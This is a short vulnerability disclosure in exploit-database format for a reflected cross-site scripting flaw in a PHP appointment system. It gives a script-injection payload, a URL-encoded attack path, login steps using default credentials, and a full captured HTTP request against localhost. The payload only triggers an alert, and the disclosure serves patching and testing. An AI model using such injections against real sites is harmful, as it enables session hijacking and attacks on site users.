Online Appointment System V1.0 - Cross-Site Scripting Vulnerability

# Exploit Title: Online Appointment System V1.0 - Cross-Site Scripting (XSS)
# Date: 25/02/2023
# Exploit Author: Sanjay Singh
# Vendor Homepage: https://www.sourcecodester.com
# Software Link: https://www.sourcecodester.com/php/14502/online-appointment-system-php-full-source-code-2020.html
# Tested on: Windows

use payload="><script>alert(XSS)</script>

1.	visit-http://localhost/doctor/applicationlayer/Doctorpatient.php

2.	login Doctor account with default credential

3.	Click left side add description

4.	capture request and put payload 

http://localhost/doctor/presentaionlayer/doctor/add.php/wrycv%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E



request

GET /doctor/presentaionlayer/doctor/add.php/wrycv%22%3E%3Cscript%3Ealert(%22XSS%22)%3C/script%3E HTTP/1.1
Host: localhost
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="111", "Not(A:Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=ocj11iinu8pn536i3cdia0faql
Connection: close